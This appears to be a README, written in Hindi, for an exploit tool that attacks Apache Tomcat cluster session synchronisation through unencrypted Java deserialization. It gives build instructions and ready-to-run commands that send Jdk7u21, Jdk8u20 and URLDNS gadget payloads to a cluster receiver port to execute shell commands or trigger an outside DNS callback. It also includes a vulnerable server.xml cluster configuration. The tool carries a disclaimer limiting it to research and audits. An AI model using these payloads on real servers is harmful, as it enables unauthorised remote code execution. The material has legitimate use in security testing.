
जब Tomcat अपने अंतर्निहित session सिंक्रनाइज़ेशन फीचर का उपयोग करता है, तो असुरक्षित कॉन्फ़िगरेशन (EncryptInterceptor का उपयोग न करना) deserialization भेद्यता का कारण बनता है। ध्यानपूर्वक तैयार किए गए डेटा पैकेट के माध्यम से, Tomcat के अंतर्निहित session सिंक्रनाइज़ेशन फीचर का उपयोग करने वाले सर्वर पर हमला किया जा सकता है। PS: यह CVE-2020-9484 नहीं है; 9484 session persistence से संबंधित भेद्यता है, जबकि यह session क्लस्टर सिंक्रनाइज़ेशन से संबंधित भेद्यता है!
उपकरण केवल सुरक्षा अनुसंधान और आंतरिक ऑडिट के लिए है, अवैध हमलों के लिए इसका उपयोग प्रतिबंधित है; परिणामस्वरूप होने वाले परिणाम उपयोगकर्ता की जिम्मेदारी होंगे
यह एक डीसीरियलाइज़ेशन भेद्यता है जो टॉमकैट के अंतर्निहित सेशन सिंक्रोनाइज़ेशन फीचर (EncryptInterceptor के बिना असुरक्षित कॉन्फ़िगरेशन) का उपयोग करते समय मौजूद होती है। सावधानीपूर्वक तैयार किए गए डेटा पैकेटों के माध्यम से, टॉमकैट के अंतर्निहित सेशन सिंक्रोनाइज़ेशन फीचर का उपयोग करने वाले सर्वरों पर हमला किया जा सकता है।
पहले jar पैकेज संकलित करें:
mvn clean compile assembly:assembly
जनरेटेड jar पैकेज target डायरेक्टरी में मौजूद होगा
उपयोग, उदाहरण:
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk7u21 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 Jdk8u20 "/bin/bash", "-c", "/System/Applications/Calculator.app/Contents/MacOS/Calculator"
java -jar tomcat-cluster-session-sync-exp-1.0-SNAPSHOT-jar-with-dependencies.jar 127.0.0.1 5000 URLDNS "http://tomcat.xxxxx.ceye.io"
(conf/server.xml):
<Server>
...
<Service>
...
<Engine>
...
<Cluster className="org.apache.catalina.ha.tcp.SimpleTcpCluster"
channelSendOptions="6">
<Manager className="org.apache.catalina.ha.session.BackupManager"
expireSessionsOnShutdown="false"
notifyListenersOnReplication="true"
mapSendOptions="6"/>
<Channel className="org.apache.catalina.tribes.group.GroupChannel">
<Membership className="org.apache.catalina.tribes.membership.McastService"
address="228.0.0.4"
port="45564"
frequency="500"
dropTime="3000"/>
<Receiver className="org.apache.catalina.tribes.transport.nio.NioReceiver"
address="123.123.123.123"
port="5000"
selectorTimeout="100"
maxThreads="6"/>
<Sender className="org.apache.catalina.tribes.transport.ReplicationTransmitter">
<Transport className="org.apache.catalina.tribes.transport.nio.PooledParallelSender"/>
</Sender>
</Channel>
<Valve className="org.apache.catalina.ha.tcp.ReplicationValve"
filter=".*\.gif;.*\.js;.*\.jpg;.*\.png;.*\.htm;.*\.html;.*\.css;.*\.txt;"/>
<Deployer className="org.apache.catalina.ha.deploy.FarmWarDeployer"
tempDir="/tmp/war-temp/"
deployDir="/tmp/war-deploy/"
watchDir="/tmp/war-listen/"
watchEnabled="false"/>
<ClusterListener className="org.apache.catalina.ha.session.ClusterSessionListener"/>
</Cluster>
</Engine>
</Service>
</Server>